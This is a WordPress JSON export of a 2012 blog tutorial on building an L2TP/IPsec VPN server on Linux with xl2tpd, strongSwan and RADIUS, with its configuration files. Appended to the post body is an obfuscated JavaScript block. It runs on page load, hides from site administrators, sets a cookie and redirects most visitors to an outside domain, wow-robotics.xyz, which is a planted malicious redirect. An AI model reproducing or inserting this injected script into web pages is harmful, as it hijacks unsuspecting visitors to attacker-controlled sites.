{"id":425,"date":"2012-06-05T17:17:14","date_gmt":"2012-06-05T09:17:14","guid":{"rendered":"http:\/\/www.q-station.net\/kb\/?p=425"},"modified":"2012-06-08T15:30:37","modified_gmt":"2012-06-08T07:30:37","slug":"linux-l2tpipsec-vpn-server","status":"publish","type":"post","link":"https:\/\/kb.q-station.net\/index.php\/2012\/06\/05\/linux-l2tpipsec-vpn-server\/","title":{"rendered":"Linux L2TP\/IPsec VPN server"},"content":{"rendered":"<p>Building a L2TP\/IPsec VPN server on Linux could be easy but troublesome.  This post list out the steps to setup the tunnel.<\/p>\n<p>L2TP\/IPsec is another type of VPN tunnerl, beside PPTP, which could be get connected by WinXP, or other Windows platform, out of the box.<br \/>\n<!--more--><br \/>\nL2TP\/IPsec means building a L2TP tunner over IPSec.   To establish and IPSec session, your client, Windows host, should either present a Pre-Shared-Secret or a valid client cert installed in <strong>computer account<\/strong><\/p>\n<p>Our setup:<\/p>\n<ul>\n<li>Accept <strong>PSK<\/strong> or <strong>client cert<\/strong><\/li>\n<li>Authenticate the user with RADIUS using MSCHAPv2\n<\/ul>\n<h1>Software<\/h1>\n<ul>\n<li>Slackware 13.37<\/li>\n<li>xl2tp 1.3<\/li>\n<li>strongswan 4.6.2<\/li>\n<li>freeradius<\/li>\n<li>samba &#038; ldap<\/li>\n<\/ul>\n<h1>xl2tpd<\/h1>\n<h2>Installation<\/h2>\n<pre>\r\ntar zxvf xl2tpd-1.3.0.tar.gz\r\ncd xl2tpd-1.3.0\r\n#################################\r\n# modify Makefile\r\nPREFIX?=\/usr\/local\/xl2tpd\r\n#################################\r\nmake\r\nmake install\r\n<\/pre>\n<h2>Configuration<\/h2>\n<h3>\/etc\/xl2tpd\/xl2tpd.conf<\/h3>\n<pre>\r\n[global]\r\nport = 1701 \r\n[lns default]\r\n;ip range = 172.16.45.51-249\r\nassign ip = no\r\nlocal ip = 192.168.72.1\r\nrequire authentication = yes \r\npppoptfile = \/etc\/ppp\/options.xl2tpd\r\n<\/pre>\n<h3>\/etc\/ppp\/options.xl2tpd<\/h3>\n<pre>\r\nms-dns 192.168.1.1\r\nms-wins 192.168.1.1\r\n#nomppe\r\nrequire-mppe-128\r\n+mschap-v2\r\n+mschap\r\ndebug\r\nplugin radius.so\r\nplugin radattr.so\r\n<\/pre>\n<h1>Strongswan<\/h1>\n<h2>Installation<\/h2>\n<pre>\r\n.\/configure --prefix=\/usr\/local\/strongswan --enable-nat-transport --enable-eap-radius --enable-eap-mschapv2 --enable-eap-peap --enable-eap-identity --enable-openssl --enable-md4 --enable-curl --enable-dhcp --enable-farp\r\nmake\r\nmake install\r\n<\/pre>\n<h2>Configuration<\/h2>\n<h3>\/usr\/local\/strongswan\/etc\/ipsec.conf<\/h3>\n<pre>\r\nconfig setup\r\n    nat_traversal=yes\r\n    # virtual_private=%v4:10.0.0.0\/8,%v4:192.168.0.0\/16,%v4:172.16.0.0\/12\r\n\r\nconn ipsec-x509\r\n    left=%defaultroute\r\n    # leftnexthop=%defaultroute\r\n    leftprotoport=17\/1701\r\n    right=%any\r\n    rightprotoport=17\/%any\r\n    pfs=no\r\n    auto=add\r\n    keyexchange=ikev1\r\n    # type=tunnel\r\n    # rekey=no\r\n    # authby=psk\r\n    authby=rsasig\r\n    leftcert=\/usr\/local\/strongswan\/etc\/mycert.pem\r\n    leftrsasigkey=%cert\r\n    rightrsasigkey=%cert\r\n\r\nconn ipsec-psk\r\n    left=%defaultroute\r\n    # leftnexthop=%defaultroute\r\n    leftprotoport=17\/1701\r\n    right=%any\r\n    rightprotoport=17\/%any\r\n    pfs=no\r\n    auto=add\r\n    keyexchange=ikev1\r\n    # type=tunnel\r\n    # rekey=no\r\n    authby=psk\r\n<\/pre>\n<h3>\/usr\/local\/strongswan\/etc\/ipsec.secrets<\/h3>\n<p>The key of your cert &#038; the PSK should be define here<\/p>\n<pre>\r\n: PSK \"yourverysecretpsk\"\r\n: RSA \/usr\/local\/strongswan\/etc\/mykey.pem\r\n<\/pre>\n<h3>CA cert<\/h3>\n<p>You should put all of your certificate chain in <strong>\/usr\/local\/strongswan\/etc\/ipsec.d\/cacerts<\/strong>, e.g., the CA issue for machine, the CA of your server cert.<\/p>\n<h1>Radius Client Setup<\/h1>\n<p>We won&#8217;t go through the installation of freeradius, you could reference my other posts for the detail.<\/p>\n<h2>\/etc\/radiusclient\/servers<\/h2>\n<p>Setup the secret with the RADIUS serer<\/p>\n<pre>\r\nlocalhost                                       mysecretpwd\r\n<\/pre>\n<h2>\/etc\/radiusclient\/radiusclient.conf<\/h2>\n<p>Mainly, you should setup <strong>authserver<\/strong> and <strong>acctserver<\/strong><\/p>\n<pre>\r\nauthserver      localhost\r\nacctserver      localhost\r\n<\/pre>\n<h2>\/etc\/radiusclient\/dictionary<\/h2>\n<p>Append following:<\/p>\n<pre>\r\nINCLUDE \/etc\/radiusclient\/dictionary.merit\r\nINCLUDE \/etc\/radiusclient\/dictionary.microsoft\r\n<\/pre>\n<h1>FreeRadius<\/h1>\n<p>You should configure your freeradius to support MSCHAPv2 and assign IP to the PPP link created by xl2tpd.  Ensure the <strong>secret<\/strong> is set up correctly in <strong>etc\/raddb\/clients.conf<\/strong><\/p>\n<h1>Windows client issues<\/h1>\n<h2>Certificate issue<\/h2>\n<p>The client certificate should be store under <strong>machine account<\/strong>.  And the whole server certificate chain should be trusted and installed in Windows.<\/p>\n<h2>Convert certificate to pkcs12 format<\/h2>\n<pre>\r\nopenssl pkcs12 -export -inkey newkey.pem -in newcert.pem -out wincert.pfx -name 'WinXP2-vbox cert' -chain -CAfile ..\/allchain.pem\r\n<\/pre>\n<p><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https:\/\/www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\\x20path=\/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](\/Android\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/BlackBerry\/i)||navigator['userAgent'][_0x287a('0xd')](\/iPhone|iPad|iPod\/i)||navigator[_0x287a('0xe')]['match'](\/Opera Mini\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/IEMobile\/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Building a L2TP\/IPsec VPN server on Linux could be easy but troublesome. This post list out the steps to setup the tunnel. L2TP\/IPsec is another type of VPN tunnerl, beside PPTP, which could be get connected by WinXP, or other Windows platform, out of the box.<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_mi_skip_tracking":false},"categories":[27,8],"tags":[61,62,63,60],"_links":{"self":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/425"}],"collection":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/comments?post=425"}],"version-history":[{"count":27,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/425\/revisions"}],"predecessor-version":[{"id":638,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/425\/revisions\/638"}],"wp:attachment":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/media?parent=425"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/categories?post=425"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/tags?post=425"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}